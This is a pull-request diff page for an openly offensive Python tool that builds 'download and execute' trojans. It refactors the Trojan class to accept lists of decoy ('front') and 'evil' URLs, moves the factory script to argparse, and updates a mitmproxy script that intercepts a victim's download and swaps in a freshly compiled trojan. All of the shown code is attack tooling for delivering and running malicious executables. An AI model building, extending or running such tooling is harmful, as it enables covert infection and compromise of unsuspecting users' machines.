Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 4 additions & 5 deletions Trojan.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,16 +29,15 @@

class Trojan:

def __init__(self, url1, url2, icon, out_file):
self.url1 = url1
self.url2 = url2
file_type = url1.split(".")[-1].replace("#", "")
def __init__(self, front_urls, evil_urls, icon, out_file):
self._target_urls = front_urls + evil_urls
file_type = front_urls[0].split(".")[-1].replace("#", "")
self.icon = self.set_icon(icon, file_type)
self.out_file = out_file


def create(self):
urls = 'Local $urls = "' + self.url1 + "," +self.url2 + '"\n'
urls = 'Local $urls = "' + ",".join(self._target_urls) + '"\n'
with open(TROJAN_SOURCE_CODE_FILE, "w") as trojan_file:
trojan_file.write(urls + trojan_code)

Expand Down
12 changes: 12 additions & 0 deletions _argparse.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
#!/usr/bin/env python

import argparse

class ExtendAction(argparse.Action):
def __call__(self, parser, namespace, values, option_string=None):
"""
Concatenate each list of arguments into a single, flat, list.
"""
items = getattr(namespace, self.dest) or []
items.extend(values)
setattr(namespace, self.dest, items)
2 changes: 1 addition & 1 deletion mitmproxy_script.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ def request(flow):

print("[+] Generating a trojan for " + flow.request.pretty_url)

trojan = Trojan(front_file, EVIL_FILE, None, trojan_file)
trojan = Trojan([front_file], [EVIL_FILE], None, trojan_file)
trojan.create()
trojan.compile()

Expand Down
32 changes: 12 additions & 20 deletions trojan_factory.py
Original file line number Diff line number Diff line change
@@ -1,28 +1,20 @@
#!/usr/bin/env python

import optparse
import argparse
from _argparse import ExtendAction
from Trojan import *

parser = argparse.ArgumentParser(description='Generate a "download and execute" trojan with the given files.')
parser.add_argument('-f', '--front-file', required=True, nargs=1, dest='front_file_url', help='Direct URL to file that the user will see.')
parser.add_argument('-e', '--evil-file', required=True, nargs='+', dest='evil_file_urls', help='Direct URL to the evil file file.', action=ExtendAction)
parser.add_argument('-o', '--out-file', required=True, nargs=1, dest='out_file_path', help='Location to store the result.')
parser.add_argument('-i', '--icon', required=False, nargs=1, dest='icon_path', help='Trojan icon.', default=None)
parser.add_argument('-z', '--zip', required=False, dest='zip', help='Zip trojan?', action="store_true", default=False)
args= parser.parse_args()

parser = optparse.OptionParser()
parser.add_option('-f', '--front-file', dest='front_file_url', help='Direct URL to file that the user will see.')
parser.add_option('-e', '--evil-file', dest='evil_file_url', help='Direct URL to the evil file file.')
parser.add_option('-o', '--out-file', dest='out_file_path', help='Location to store the result.')
parser.add_option('-i', '--icon', dest='icon_path', help='Trojan icon.')
parser.add_option('-z', '--zip', dest='zip', help='Zip trojan?', action="store_true")

(options, args) = parser.parse_args()

if not options.front_file_url:
parser.error("Please specify front file, use --help argument for more info.")
if not options.evil_file_url:
parser.error("Please specify evil file, use --help argument for more info.")
if not options.out_file_path:
parser.error("Please specify out file, use --help argument for more info.")

trojan = Trojan(options.front_file_url, options.evil_file_url, options.icon_path, options.out_file_path)
trojan = Trojan(args.front_file_url, args.evil_file_urls, args.icon_path, args.out_file_path[0])
trojan.create()
trojan.compile()

if options.zip:
trojan.zip(options.out_file_path)
if args.zip:
trojan.zip(args.out_file_path[0])